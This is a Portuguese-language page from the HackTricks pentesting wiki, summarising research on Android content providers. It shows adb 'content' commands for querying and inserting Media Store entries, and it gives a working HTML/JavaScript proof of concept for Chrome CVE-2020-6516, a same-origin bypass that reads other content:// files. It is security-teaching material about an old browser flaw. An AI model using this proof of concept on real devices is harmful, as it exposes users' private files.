hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

6.2 KiB

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

{% embed url="https://websec.nl/" %}

Este é um resumo do post https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Listando Arquivos no Media Store

Para listar arquivos gerenciados pelo Media Store, o comando abaixo pode ser usado:

$ content query --uri content://media/external/file

Para uma saída mais amigável, exibindo apenas o identificador e o caminho de cada arquivo indexado:

$ content query --uri content://media/external/file --projection _id,_data

Os provedores de conteúdo estão isolados em seu próprio namespace privado. O acesso a um provedor requer o URI específico content://. Informações sobre os caminhos para acessar um provedor podem ser obtidas a partir de manifestos de aplicativos ou do código-fonte do framework Android.

Acesso do Chrome aos Provedores de Conteúdo

O Chrome no Android pode acessar provedores de conteúdo através do esquema content://, permitindo que acesse recursos como fotos ou documentos exportados por aplicativos de terceiros. Para ilustrar isso, um arquivo pode ser inserido no Media Store e, em seguida, acessado via Chrome:

Insira uma entrada personalizada no Media Store:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Descubra o identificador do arquivo recém-inserido:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

O arquivo pode ser visualizado no Chrome usando uma URL construída com o identificador do arquivo.

Por exemplo, para listar arquivos relacionados a um aplicativo específico:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Bypass da Política de Mesma Origem

A Política de Mesma Origem (SOP) é um protocolo de segurança em navegadores que restringe páginas da web de interagir com recursos de origens diferentes, a menos que explicitamente permitido por uma política de Compartilhamento de Recursos de Origem Cruzada (CORS). Esta política visa prevenir vazamentos de informações e falsificação de requisições entre sites. O Chrome considera content:// como um esquema local, implicando regras SOP mais rigorosas, onde cada URL de esquema local é tratada como uma origem separada.

No entanto, a CVE-2020-6516 foi uma vulnerabilidade no Chrome que permitiu um bypass das regras SOP para recursos carregados via uma URL content://. Na prática, o código JavaScript de uma URL content:// poderia acessar outros recursos carregados via URLs content://, o que era uma preocupação significativa de segurança, especialmente em dispositivos Android que executavam versões anteriores ao Android 10, onde o armazenamento com escopo não estava implementado.

A prova de conceito abaixo demonstra essa vulnerabilidade, onde um documento HTML, após ser carregado em /sdcard e adicionado ao Media Store, usa XMLHttpRequest em seu JavaScript para acessar e exibir o conteúdo de outro arquivo no Media Store, contornando as regras SOP.

Prova de Conceito HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>

{% embed url="https://websec.nl/" %}

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporte o HackTricks
{% endhint %}